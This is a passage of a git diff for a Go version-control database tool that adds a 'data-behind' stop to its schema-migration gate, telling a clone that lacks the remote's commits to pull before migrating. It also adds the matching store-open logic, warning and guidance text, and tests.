bd dolt push", + "every other clone (another already migrated): bd bootstrap", + "Read-only command: continuing on schema v", + } { + if !strings.Contains(warning, want) { + t.Errorf("blunt warning is missing %q; got:\n%s", want, warning) + } + } + if strings.Contains(warning, "This clone is BEHIND the remote") { + t.Errorf("the data-behind body leaked into a non-data-behind refusal; got:\n%s", warning) + } +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 57c663146..58c96b785 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -66,9 +66,11 @@ type EmbeddedDoltStore struct { } // openIntent classifies why a store is being opened. openStrict fails the -// open on any pending-migration refusal; the other two intents relax both -// the #4259 remote-migrate gate refusal and the #4566 dirty-table refusal, -// each with its own warning text (see initSchema). +// open on any pending-migration refusal; openReadOnlyCommand and +// openWorkingSetReconcile relax both the #4259 remote-migrate gate refusal and +// the #4566 dirty-table refusal, each with its own warning text (see +// initSchema); openRemoteSync relaxes exactly one gate refusal and nothing +// else. type openIntent int const ( @@ -86,8 +88,52 @@ const ( // touch, so failing the open here would deadlock the documented recovery // (#4566). Used by OpenForWorkingSetReconcile. openWorkingSetReconcile + // openRemoteSync is the same shape of deadlock break as + // openWorkingSetReconcile, for the #6575 data-behind gate refusal: that + // refusal's entire remedy is `bd dolt pull`, which itself opens the store + // and so hit the refusal that prescribed it — a fence with no gate. Unlike + // the two intents above it relaxes exactly ONE refusal and nothing else: + // only a gate error whose reason is data-behind + // (RemoteMigrateGateError.IsDataBehind). Every other gate refusal, the + // #4566 dirty-table guard, and the #5268 dependency re-key still fail this + // open exactly as they do a strict one — the pull is being let through its + // own precondition, not granted a general exemption. Used by + // OpenForRemoteSync. + openRemoteSync ) +// toleratesGateRefusal reports whether this open's intent may warn and +// continue past a remote-migrate gate refusal (#4259/#5920/#6575) instead of +// failing the open. +// +// openRemoteSync is deliberately conditional on the REASON rather than being +// another blanket exemption: it exists only so `bd dolt pull` can execute the +// #6575 data-behind refusal's own remedy, and widening it to every gate +// refusal would quietly let a pull through a fork-skew or shared-store stop +// that the pull cannot help with. +func (s *EmbeddedDoltStore) toleratesGateRefusal(gateErr *schema.RemoteMigrateGateError) bool { + switch s.intent { + case openReadOnlyCommand, openWorkingSetReconcile: + return true + case openRemoteSync: + return gateErr.IsDataBehind() + default: // openStrict + return false + } +} + +// toleratesMigrationRefusal reports whether this open's intent may warn and +// continue past a MigrateUp refusal that is not the gate: the #4566 +// dirty-table guard and the #5268 dependency re-key conflict. +// +// openRemoteSync is absent on purpose. It is not listed as "not openStrict" +// because that phrasing is what would have silently enrolled it: the remote- +// sync exemption was granted for one gate reason, and a dirty working set or a +// re-key conflict is a different refusal with a different recovery. +func (s *EmbeddedDoltStore) toleratesMigrationRefusal() bool { + return s.intent == openReadOnlyCommand || s.intent == openWorkingSetReconcile +} + // errClosed is returned when a method is called after Close. var errClosed = errors.New("embeddeddolt: store is closed") @@ -369,6 +415,13 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { IsStrictAncestor: func(ctx context.Context, db schema.DBConn, ref string) (bool, error) { return versioncontrolops.LocalIsStrictAncestorOf(ctx, db, ref) }, + // The raw counts the equal-version data-behind check needs + // (gastownhall/beads#6575): behind >= 1 whatever ahead is, plus + // which shape it is so the refusal names the pull the operator + // will actually get. + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, @@ -388,7 +441,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { } if err := schema.CheckRemoteMigrateGateWithAdopt(ctx, conn, adopt); err != nil { var gateErr *schema.RemoteMigrateGateError - if s.intent != openStrict && errors.As(err, &gateErr) { + if errors.As(err, &gateErr) && s.toleratesGateRefusal(gateErr) { // The gate exists to stop in-place migration on a remote-backed, // already-initialized database (#4259), not to block reads or a // working-set commit. Warn and continue on the current schema; @@ -402,20 +455,76 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { " • every other clone (another already migrated): bd bootstrap\n" + " • several machines: only ONE migrates; sync each other clone and run\n" + " bd dolt pull after the migrator pushes, before upgrading it\n" + // #6575: sharedGuidance is the blunt migrate-or-adopt block, and + // on the data-behind stop every bullet in it is measurably wrong + // — `bd migrate --force` applies the migration this stop exists + // to prevent, the `bd dolt push` after it is rejected + // non-fast-forward while the clone is still behind, and + // `bd bootstrap` no-ops against an existing workspace. The one + // command that moves the clone forward is `bd dolt pull`, and + // gateErr's own UserMessage is where that body lives, already + // branched for the fast-forward and diverged pulls. Printing + // %v (Error(), the one-line summary) and appending the bullets + // dropped it: a 1.1-era upgrader's first `bd list` and their + // `bd dolt commit` both land in the two arms below, so the first + // thing bd said to a data-behind clone was the wedge. Server + // mode's warnLenientOpenRefusal (dolt/store.go) has rendered + // UserMessage all along; these arms are the ones that lagged. + // + // The intent framing stays: the command in hand is still + // SUCCEEDING against the old schema, which UserMessage — written + // for the fatal refusal — does not say. So the mode line is + // appended to the data-behind body rather than replacing it. + body := "Warning: " + gateErr.Error() + "\n" + if gateErr.IsDataBehind() { + body = "Warning: " + gateErr.UserMessage() + } switch s.intent { - case openWorkingSetReconcile: + case openRemoteSync: + // This is the refusal's own prescribed remedy running. It gets + // the short confirmation rather than the full data-behind body: + // toleratesGateRefusal admits only the data-behind stop here, so + // the operator has necessarily just been handed that body by the + // command this pull is unblocking, and re-printing "pull first" + // at the moment they are finally doing it is noise. What it must + // never do is name `bd migrate --force`. fmt.Fprintf(os.Stderr, "Warning: %[1]v\n"+ + " Remote-sync command: continuing on schema v%[2]d without migrating, so\n"+ + " this pull can bring in the commits this clone is behind on. Re-run the\n"+ + " command you were blocked on once it completes.\n", + gateErr, gateErr.CurrentVersion) + case openWorkingSetReconcile: + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "%[1]s"+ + " Working-set reconcile command: continuing on schema v%[2]d without\n"+ + " migrating; the commit applies to the working set at the current\n"+ + " schema. It does not resolve the schema — the pull above is what does.\n", + body, gateErr.CurrentVersion) + break + } + fmt.Fprintf(os.Stderr, + "%[1]s"+ " Working-set reconcile command: continuing on schema v%[2]d without\n"+ " migrating; the commit applies to the working set at the current\n"+ " schema."+sharedGuidance, - gateErr, gateErr.CurrentVersion) + body, gateErr.CurrentVersion) default: // openReadOnlyCommand + if gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "%[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating, so\n"+ + " this read succeeds against the old schema. Writes stay blocked until\n"+ + " this clone has pulled.\n", + body, gateErr.CurrentVersion) + break + } fmt.Fprintf(os.Stderr, - "Warning: %[1]v\n"+ + "%[1]s"+ " Read-only command: continuing on schema v%[2]d without migrating.\n"+ " Writes are blocked until the schema is reconciled."+sharedGuidance, - gateErr, gateErr.CurrentVersion) + body, gateErr.CurrentVersion) } return nil } @@ -426,7 +535,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { // controls; schema.MigrateUpWithLock requires a sql-server session lock. if _, err := schema.MigrateUp(ctx, conn); err != nil { var dirtyErr *schema.DirtyTablesError - if s.intent != openStrict && errors.As(err, &dirtyErr) { + if s.toleratesMigrationRefusal() && errors.As(err, &dirtyErr) { // The guard exists to keep dirty user data from being entangled // with a migration, but its documented recovery - committing the // working set - also opens the store and would otherwise hit @@ -451,7 +560,7 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { return nil } var rekeyErr *schema.DependencyRekeyConflictError - if s.intent != openStrict && errors.As(err, &rekeyErr) { + if s.toleratesMigrationRefusal() && errors.As(err, &rekeyErr) { // Same principle for the dependency re-key's refusal (#5268): it is // a convergence repair, not a precondition for reading, and before // that pass existed these clones opened fine. Bricking 'bd list' and diff --git a/internal/storage/embeddeddolt/store_stub.go b/internal/storage/embeddeddolt/store_stub.go index 87b046245..db5efd66f 100644 --- a/internal/storage/embeddeddolt/store_stub.go +++ b/internal/storage/embeddeddolt/store_stub.go @@ -40,3 +40,8 @@ func OpenForReadOnlyCommand(_ context.Context, _, _, _ string) (*EmbeddedDoltSto func OpenForWorkingSetReconcile(_ context.Context, _, _, _ string) (*EmbeddedDoltStore, error) { return nil, errNoCGO } + +// OpenForRemoteSync returns an error when CGO is not enabled. +func OpenForRemoteSync(_ context.Context, _, _, _ string) (*EmbeddedDoltStore, error) { + return nil, errNoCGO +} diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 15848928b..5a881d7fe 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -118,6 +118,15 @@ type RemoteMigrateGateError struct { // (the gate staying enabled by default). Set only when // FallbackReason == fallbackReasonUnparseableEnv. UnrecognizedSmartGateEnv string + + // DataDiverged distinguishes the two shapes of the data-behind stop + // (gastownhall/beads#6575). Both are "this clone is missing commits the + // remote has", and both take the same remedy COMMAND — `bd dolt pull` — + // but false means the clone has no commits of its own so the pull is a + // pure fast-forward, and true means it has both, so the pull MERGES and + // can report conflicts to resolve first. Set only when + // FallbackReason == fallbackReasonDataBehind; meaningless otherwise. + DataDiverged bool } const ( @@ -161,8 +170,37 @@ const ( // auto-executing it would promote the schema for every co-resident client. // Structural, not a routing outcome — it outranks the other reasons. fallbackReasonSharedStore = "shared-store" + // fallbackReasonDataBehind (gastownhall/beads#6575): schema parity with + // the cached remote ref held, but this clone's local HEAD is a strict + // ancestor of that ref — it is behind the remote in data commits it has + // not pulled, so it is not the first-mover the smart gate may + // auto-resolve. Unlike the reasons above, this one has a one-command + // remedy the operator can run right now (`bd dolt pull`), after which the + // migrate is a true first-mover. + fallbackReasonDataBehind = "data-behind" ) +// DataBehindRemedyCommand is the one command that moves a data-behind clone +// forward, and the single source for every surface that names it: the human +// body and note, the agent directive, the JSON option, and the store-open +// classification that has to let this command through the very refusal that +// prescribes it (gastownhall/beads#6575 F1 — a refusal whose documented +// recovery is blocked by the refusal is a fence with no gate; the #4566 +// precedent for `bd dolt commit` is the same shape). +const DataBehindRemedyCommand = "bd dolt pull" + +// IsDataBehind reports whether this refusal is the #6575 data-behind stop: +// the clone is level with the cached remote ref on schema but missing commits +// the ref has, so the pending migration must not be applied until it pulls. +// +// It is exported because the recovery for this particular stop is itself a +// store-opening command (DataBehindRemedyCommand), so the mode-specific store +// opens have to recognize this reason — and ONLY this reason — to open +// leniently for it. Every other refusal stays fatal on those opens. +func (e *RemoteMigrateGateError) IsDataBehind() bool { + return e != nil && e.Decision == "" && e.FallbackReason == fallbackReasonDataBehind +} + func (e *RemoteMigrateGateError) Error() string { unit := "migrations" if e.Pending == 1 { @@ -229,15 +267,97 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { why = SmartGateEnv + "=" + e.UnrecognizedSmartGateEnv + " is set but was not recognized (only boolean values enable/disable it), so it stayed enabled by default but still could not resolve this stop" case fallbackReasonSharedStore: why = "this store is shared (dolt sql-server); the first-mover auto-migrate is disabled here because it would lock out co-resident clients (#5920)" + case fallbackReasonDataBehind: + why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). Run `" + DataBehindRemedyCommand + "` first, then retry: this clone is then the true first-mover it looked like" + // Only promise the retry resolves itself where it actually does. On a + // shared store the first-mover auto-migrate is suppressed regardless + // (fallbackReasonSharedStore, #5920), so pulling clears THIS stop but + // the retry still needs explicit consent — saying otherwise would send + // the operator in a loop. + if !e.Shared { + why += " and the migrate proceeds on its own" + } else { + // #5920's consequence has to travel with this reason too. Before + // this arm existed a shared, data-behind store reported + // fallbackReasonSharedStore, whose note names the co-resident + // lockout; data-behind now outranks it, so without this clause the + // operator loses the warning that promoting the schema on a shared + // server locks out every co-resident client still on an older bd. + why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommand + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" + } default: return "" } return "\n Smart gate (#4516): " + why + ".\n" } +// dataBehindBody is the guidance block for the #6575 data-behind stop. It +// REPLACES the blunt migrate-or-adopt body rather than decorating it, because +// in this state both of that body's options are wrong and were measured wrong: +// `bd migrate --force` is exactly the migration this stop exists to prevent +// (and the `bd dolt push` that follows it is rejected as a non-fast-forward, +// since the clone is still behind), and `bd bootstrap` against an existing +// workspace reports "Database already exists … Nothing to do." and exits 0. +// The one command that moves this clone forward is the pull. +func (e *RemoteMigrateGateError) dataBehindBody() string { + body := "\n" + + " This clone is BEHIND the remote: the remote has commits this clone has not\n" + + " pulled. On schema alone it looks like a first-mover, which is why the line\n" + + " above reads the way it does — but applying the pending migration here would\n" + + " put new schema commits on a history that is missing those commits. Once a\n" + + " migration moves a tracked table onto Dolt's ignore plane (0062's `events`),\n" + + " every later `" + DataBehindRemedyCommand + "` refuses to merge and this clone can no longer\n" + + " fetch the commits it was already behind on (#6575, #6368).\n" + + "\n" + + " Pull first — that is the whole remedy:\n" + + " " + DataBehindRemedyCommand + "\n" + if e.DataDiverged { + body += "" + + " This clone also has commits of its own, so the pull MERGES rather than\n" + + " fast-forwards. If it reports conflicts, resolve them and let the pull\n" + + " finish before retrying (`" + DataBehindRemedyCommand + " --strategy ours|theirs` decides them\n" + + " in bulk on embedded storage; `bd conflicts resolve` on a server store).\n" + } else { + body += "" + + " This clone has no commits of its own, so the pull is a pure fast-forward:\n" + + " nothing local is merged or discarded.\n" + } + body += "" + + "\n" + + " Then re-run what you just ran.\n" + if e.Shared { + // #5920: on a shared store the first-mover auto-migrate stays + // suppressed after the pull, so the retry needs the consent verb. + // Saying "it proceeds on its own" here would loop the operator. + body += "" + + " This database is served to co-resident bd clients, so the migration itself\n" + + " still needs explicit consent afterwards — it promotes the schema for EVERY\n" + + " client at once, and clients still on an older bd will refuse this database\n" + + " until they are upgraded (#5920):\n" + + " " + SharedConsentCommand + "\n" + + " (" + SharedConsentCommandGlobal + " for the shared global database)\n" + } else { + body += "" + + " The migration then runs on its own: with nothing left to pull, this clone\n" + + " is the first-mover it looked like.\n" + } + body += "" + + "\n" + + " Do NOT use `bd migrate --force` to get past this. It applies the migration\n" + + " while this clone is still behind — the exact state this stop exists to\n" + + " prevent — and the `bd dolt push` that would follow is rejected as a\n" + + " non-fast-forward, because the clone is still missing the remote's commits.\n" + return body +} + // userBody returns the decision-specific guidance block. The default (blunt // #4515) body is byte-identical to before the smart gate existed. func (e *RemoteMigrateGateError) userBody() string { + // The #6575 stop is a blunt stop (empty Decision) with a remedy the blunt + // body contradicts, so it is keyed on the fallback reason instead. + if e.IsDataBehind() { + return e.dataBehindBody() + } switch e.Decision { case gateDecisionAdopt: return "\n" + @@ -332,6 +452,35 @@ func (e *RemoteMigrateGateError) EscapeHint() string { // to the operator and let them choose, per the AgentDiagnostic contract ("Go // observes and reports, the agent decides and acts"). func (e *RemoteMigrateGateError) AgentDirective() string { + // #6575: the data-behind stop is the one refusal in this type with a + // single, safe, non-destructive, auto-runnable remedy — pulling commits + // this clone is already behind on takes nothing away and needs no + // cross-clone coordination. Saying so is the point: the default directive + // below sends the agent to remote_migrate_gate.options, and if those + // options were the blunt migrate-or-adopt pair the agent would surface + // the migration this stop exists to prevent (whose follow-up push is + // rejected non-fast-forward anyway) and a bootstrap that no-ops. + if e.IsDataBehind() { + d := "Pull, do NOT migrate: this clone is level with the remote on schema but is missing commits the remote " + + "has, so the pending migration would land on a history without them and can wedge every later " + + "`" + DataBehindRemedyCommand + "` (#6575, #6368). The remedy is `" + DataBehindRemedyCommand + "`, which is in " + + "remote_migrate_gate.options as the single option." + if e.DataDiverged { + d += " This clone also has commits of its own, so that pull MERGES rather than fast-forwards and may " + + "report conflicts to resolve before it completes — surface a conflict outcome to the operator " + + "rather than forcing past it." + } else { + d += " This clone has no commits of its own, so that pull is a pure fast-forward and discards nothing." + } + if e.Shared { + d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommand + + "): this database is shared with co-resident bd clients and migrating promotes the schema for all of " + + "them at once (#5920). Do NOT auto-run it." + } else { + d += " After the pull, re-running the original command migrates on its own; nothing else is needed." + } + return d + } switch e.Decision { case gateDecisionAdopt: return "Adopt, do NOT migrate: the remote is already migrated, so migrating here would fork it (#4259). " + @@ -392,6 +541,39 @@ func (e *RemoteMigrateGateError) Options() []GateOption { Commands: []string{"bd bootstrap"}, Risk: "re-clones and replaces the local database; push or export unpushed work first or it is lost" + sharedRisk, } + // #6575: exactly ONE option, and it is the pull. The blunt pair below is + // actively wrong in this state — `bd migrate --force` is the bug, its + // `bd dolt push` is rejected non-fast-forward while the clone is still + // behind, and `bd bootstrap` no-ops against an existing workspace — so + // offering them here would hand an agent two dead ends and no exit. + // Unlike every other option in this type it carries no precondition the + // operator has to confirm: pulling commits this clone is already behind on + // is not a coordination decision. + if e.IsDataBehind() { + risk := "none — a pure fast-forward; this clone has no commits of its own, so nothing local is merged or discarded" + when := "always, for this stop: this clone is behind the remote and must pull before it may migrate" + if e.DataDiverged { + risk = "this clone also has commits of its own, so the pull MERGES; it can report conflicts that must be resolved before it completes (bd dolt pull --strategy ours|theirs on embedded storage, bd conflicts resolve on a server store). Nothing is discarded without that resolution" + } + pull := GateOption{ + ID: "pull-first", + When: when, + Commands: []string{DataBehindRemedyCommand}, + Risk: risk, + } + if e.Shared { + // The pull itself is still safe; what the shared store changes is + // what happens AFTER it, so the consent step becomes a second + // option rather than a footnote on the first (#5920). + return []GateOption{pull, { + ID: "migrate-shared-after-pulling", + When: "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)", + Commands: []string{SharedConsentCommand}, + Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents", + }} + } + return []GateOption{pull} + } switch e.Decision { case gateDecisionAdopt: // Remote is confirmed ahead: migrate is not a valid path, only adopt. @@ -584,6 +766,10 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e // follow-up). fallbackReason := "" unrecognizedSmartGateEnv := "" + // dataDiverged records which shape of the #6575 data-behind stop fired, so + // the guidance names the pull the operator will actually get (a merge, not + // a fast-forward). Meaningless unless fallbackReason is data-behind. + dataDiverged := false if SmartGateEnabled() { decision, skew, ref, atLatest := routeSmartGate(ctx, db, current, latest, remoteName, adopt) switch decision { @@ -669,6 +855,25 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e Decision: gateDecisionForkSkew, SkewVersions: skew, } + case smartDataBehind, smartDataDiverged: + // gastownhall/beads#6575: schema parity held but this clone is + // missing commits the cached remote ref has. Stop, and carry the + // pull-first remedy on every surface (body, note, agent directive, + // options) — the blunt migrate-or-adopt guidance is wrong here, + // not merely incomplete. + // + // This reason is reported even on a shared store, where + // fallbackReasonSharedStore would otherwise outrank it: that one + // says the gate WOULD have resolved and was overruled, which is + // not true here. The gate refuses this state on its own merits, + // and the pull-first remedy is a precondition the operator has to + // satisfy either way; #5920's co-resident consequence is folded + // into the data-behind guidance instead of being lost with the + // reason it outranks. + fallbackReason = fallbackReasonDataBehind + // The two verdicts share the reason and the remedy command; they + // differ in whether that command fast-forwards or merges. + dataDiverged = decision == smartDataDiverged case smartBelowFloor: fallbackReason = fallbackReasonBelowFloor case smartUndetermined: @@ -679,9 +884,15 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e // fact for the operator than the technical routing outcome, so it // takes priority as the surfaced reason. Not over shared-store: that // one is structural (the gate WOULD have resolved, and was overruled), - // so fixing the env value would not change the outcome. + // so fixing the env value would not change the outcome. Not over + // data-behind either, for the same reason (gastownhall/beads#6575): + // that stop stands whatever BD_SMART_GATE says, and it is the one + // reason carrying a remedy the operator can act on right now, so + // burying it behind an env-value complaint would cost them the fix. envState, envValue := smartGateEnvValue() - if envState == smartGateEnvUnparseable && fallbackReason != fallbackReasonSharedStore { + if envState == smartGateEnvUnparseable && + fallbackReason != fallbackReasonSharedStore && + fallbackReason != fallbackReasonDataBehind { fallbackReason = fallbackReasonUnparseableEnv unrecognizedSmartGateEnv = envValue } @@ -697,6 +908,7 @@ func checkRemoteMigrateGate(ctx context.Context, db DBConn, remoteName string, e FallbackReason: fallbackReason, Shared: shared, UnrecognizedSmartGateEnv: unrecognizedSmartGateEnv, + DataDiverged: dataDiverged, } } diff --git a/internal/storage/schema/smart_remote_migrate_gate.go b/internal/storage/schema/smart_remote_migrate_gate.go index 46cca35e7..ab26d88a2 100644 --- a/internal/storage/schema/smart_remote_migrate_gate.go +++ b/internal/storage/schema/smart_remote_migrate_gate.go @@ -12,9 +12,10 @@ import ( // gate would fire, it consults the remote's cached schema state and // auto-resolves the one provably-safe case (first-mover migrate), while still // stopping — with sharper guidance — on the cases that genuinely need a human. -// Every fallback path (unreadable remote state, below the convergence floor) -// degrades to the blunt #4515 block, so the default is never less safe than -// the blunt gate; it only resolves cases the blunt gate cannot distinguish. +// Every fallback path (unreadable remote state, below the convergence floor, +// a clone behind the remote in data commits) degrades to the blunt #4515 +// block, so the default is never less safe than the blunt gate; it only +// resolves cases the blunt gate cannot distinguish. // // Set BD_SMART_GATE=0 (or any boolean false) to opt out and keep the blunt // #4515 behavior unconditionally: any remote-backed database with pending @@ -128,6 +129,28 @@ const ( // a TOCTOU miss, or the merge itself refusing) falls through to the // plain smartAdopt directive instead, never forcing the write. smartAdoptFastForward + // smartDataBehind (gastownhall/beads#6575): schema parity with the cached + // remote ref holds — the first-mover precondition — but local HEAD is + // BEHIND that ref with no local commits of its own (ahead == 0, + // behind >= 1), so this clone is missing DATA commits it has not pulled. + // Migrating in place here mints local-only schema commits on a HEAD that + // lacks those commits; when the pending batch moves a tracked table onto + // the dolt_ignore plane (0062's events), every subsequent `bd dolt pull` + // then refuses (#6368) and the clone can no longer fetch the very commits + // it was behind on. Stop, and direct the operator to pull first — a pure + // fast-forward in this shape — after which the same open auto-migrates as + // a true first-mover. + smartDataBehind + // smartDataDiverged is smartDataBehind's other shape: behind >= 1 AND + // ahead >= 1, i.e. this clone has unpushed local commits as well as + // unpulled remote ones. It reaches the identical wedge — the pending + // migration lands on a HEAD missing the remote's commits either way — so + // it stops for the same reason. It is a separate verdict only because the + // remedy behaves differently: `bd dolt pull` MERGES here rather than + // fast-forwarding, and can report conflicts the operator has to resolve + // before it completes. bd auto-commits every write, so this is the + // ORDINARY multi-machine shape, not an exotic one. + smartDataDiverged ) // FastForwardAdopter injects the driver-side fast-forward primitives that @@ -149,6 +172,20 @@ type FastForwardAdopter struct { // IsStrictAncestor reports whether local HEAD is a strict ancestor of // ref (versioncontrolops.LocalIsStrictAncestorOf). IsStrictAncestor func(ctx context.Context, db DBConn, ref string) (bool, error) + // AheadBehind reports the raw commit counts behind IsStrictAncestor: + // how many commits local HEAD has that ref lacks, and how many ref has + // that local lacks (versioncontrolops.LocalAheadBehind). The + // data-behind stop (gastownhall/beads#6575) needs behind >= 1 whatever + // ahead is, which IsStrictAncestor's ahead == 0 && behind >= 1 cannot + // express, and needs to tell the two shapes apart so the remedy it + // prints matches the pull the operator will actually get (fast-forward + // vs merge). + // + // A nil AheadBehind is safe: localDataBehind falls back to + // IsStrictAncestor, which reports only the ahead == 0 shape — the + // narrower, pre-#6575-widening behavior — so an injection site that + // wires only the older callback keeps working. + AheadBehind func(ctx context.Context, db DBConn, ref string) (ahead, behind int, err error) // WorkingSetClean reports whether the working set has no uncommitted // changes, dolt-ignored wisp tables excepted // (versioncontrolops.WorkingSetClean). @@ -194,6 +231,54 @@ func routeAdoptFastForward(ctx context.Context, db DBConn, ref string, adopt *Fa return true } +// localDataBehind reports whether local HEAD is missing commits that ref has +// (behind >= 1) and, when it is, whether the clone ALSO has commits of its own +// that ref lacks (ahead >= 1 — the diverged shape). It is the equal-version +// path's only ancestry fact (gastownhall/beads#6575). +// +// The predicate is behind >= 1 regardless of ahead, not the narrower strict- +// ancestor relation the remote-ahead path uses. Both shapes reach the same +// wedge: the migration lands on a HEAD missing the remote's commits either +// way, and the ignore-plane flip then refuses every later `bd dolt pull`. +// Since bd auto-commits every write, "has local commits AND is behind" is the +// ordinary multi-machine state, so restricting the stop to ahead == 0 would +// leave the larger half of the affected cohort unprotected. A level clone +// (behind == 0) and a purely-ahead clone (behind == 0, ahead >= 1) are still +// permitted — they are genuine first-movers with nothing to pull. +// +// adopt may be nil, or wire neither callback (the shared unit-of-work +// provider's injection site) — then there is no ancestry fact to read and +// routing stays exactly as it was before this check existed. With only +// IsStrictAncestor wired, the fact narrows to the ahead == 0 shape; the +// diverged shape then reads "not behind", which is the pre-widening +// behavior rather than a new hazard. +// +// Unlike routeAdoptFastForward, a query error is NOT folded into "false": +// here false means "permit the more automatic action", so an inconclusive +// read has to be reported to the caller and degrade to the blunt block. +func localDataBehind(ctx context.Context, db DBConn, ref string, adopt *FastForwardAdopter) (behind bool, diverged bool, err error) { + if adopt == nil { + return false, false, nil + } + if adopt.AheadBehind != nil { + ahead, behindCount, err := adopt.AheadBehind(ctx, db, ref) + if err != nil { + return false, false, err + } + return behindCount >= 1, behindCount >= 1 && ahead >= 1, nil + } + if adopt.IsStrictAncestor == nil { + return false, false, nil + } + ancestor, err := adopt.IsStrictAncestor(ctx, db, ref) + if err != nil { + return false, false, err + } + // A strict ancestor is by definition ahead == 0, so this fallback can + // only ever report the non-diverged shape. + return ancestor, false, nil +} + // canAutoFastForward reports whether adopt is actually able to EXECUTE the // fast-forward once the read-side preconditions (routeAdoptFastForward) are // satisfied: a FastForward callback must be wired, and the store must not be @@ -319,6 +404,29 @@ func routeSmartGate(ctx context.Context, db DBConn, current, latest int, remoteN // remote == local on every shared version and at the same max version: a first-mover. if current >= LastNonDeterministicMigration { + // Schema parity is not proof of first-mover status + // (gastownhall/beads#6575). It says nothing about where this clone's + // branch sits relative to the ref the hashes just came from: a clone + // that is level on schema and behind on DATA satisfies every + // precondition above. Read the ancestry fact the caller already wired + // for the remote-ahead path before granting the automatic migrate. + behind, diverged, err := localDataBehind(ctx, db, ref, adopt) + if err != nil { + // Inconclusive ancestry read on a ref whose content hashes just + // resolved. Degrade to the blunt block rather than assume level: + // the gate's contract is that every fallback is at least as safe + // as #4515. + return smartUndetermined, nil, "", false + } + if behind { + // Same stop, same remedy command; the two verdicts differ only in + // what that command DOES (fast-forward vs merge), which the + // operator-facing text has to get right. + if diverged { + return smartDataDiverged, nil, ref, false + } + return smartDataBehind, nil, ref, false + } return smartAutoMigrate, nil, ref, false } return smartBelowFloor, nil, ref, false diff --git a/internal/storage/schema/smart_remote_migrate_gate_test.go b/internal/storage/schema/smart_remote_migrate_gate_test.go index 98a3e8c41..55375c8c1 100644 --- a/internal/storage/schema/smart_remote_migrate_gate_test.go +++ b/internal/storage/schema/smart_remote_migrate_gate_test.go @@ -416,6 +416,17 @@ type fakeAdopter struct { ffCalls int readOnly bool + + // aheadResult/behindResult/aheadBehindErr back the AheadBehind callback, + // counted by aheadBehindCalls. Wired into the adopter only when + // withAheadBehind is true, so the tests that leave it off keep exercising + // the IsStrictAncestor-only fallback an injection site that never wired + // the newer callback would take (gastownhall/beads#6575). + withAheadBehind bool + aheadResult int + behindResult int + aheadBehindErr error + aheadBehindCalls int } func (f *fakeAdopter) adopter() *FastForwardAdopter { @@ -436,6 +447,12 @@ func (f *fakeAdopter) adopter() *FastForwardAdopter { return f.ffErr } } + if f.withAheadBehind { + a.AheadBehind = func(_ context.Context, _ DBConn, _ string) (int, int, error) { + f.aheadBehindCalls++ + return f.aheadResult, f.behindResult, f.aheadBehindErr + } + } return a } @@ -800,6 +817,491 @@ func TestSmartGateRoutingFastForward(t *testing.T) { }) } +// TestSmartGateRoutingDataBehind covers the equal-version path's ancestry +// check (gastownhall/beads#6575): schema parity with the cached remote ref is +// not proof of first-mover status, because a clone can be level on schema and +// behind on data commits. These subtests pin the ROUTING around canned +// ancestry results; the genuinely data-behind clone — two real clones, a +// file:// remote, a real DOLT_FETCH, the ancestry fact measured rather than +// stubbed — lives in internal/storage/dolt +// (TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt). +func TestSmartGateRoutingDataBehind(t *testing.T) { + floor := LastNonDeterministicMigration + + t.Run("data-behind clone: blunt block naming the pull-first remedy", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor - 1: "h1", floor: "h2"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a data-behind clone must not auto-migrate, got %v", err) + } + if gateErr.Decision != "" { + t.Errorf("Decision = %q, want \"\" (the blunt #4515 stop — no new JSON/agent contract)", gateErr.Decision) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !strings.Contains(gateErr.UserMessage(), "Run `bd dolt pull` first") { + t.Errorf("UserMessage should name the pull-first remedy:\n%s", gateErr.UserMessage()) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + // Deliberately NOT part of the equal-version precondition: a dirty + // working set on a level clone is not the #6575 wedge state, and + // refusing it would broaden the gate beyond the field-hit bug. + if fa.cleanCalls != 0 { 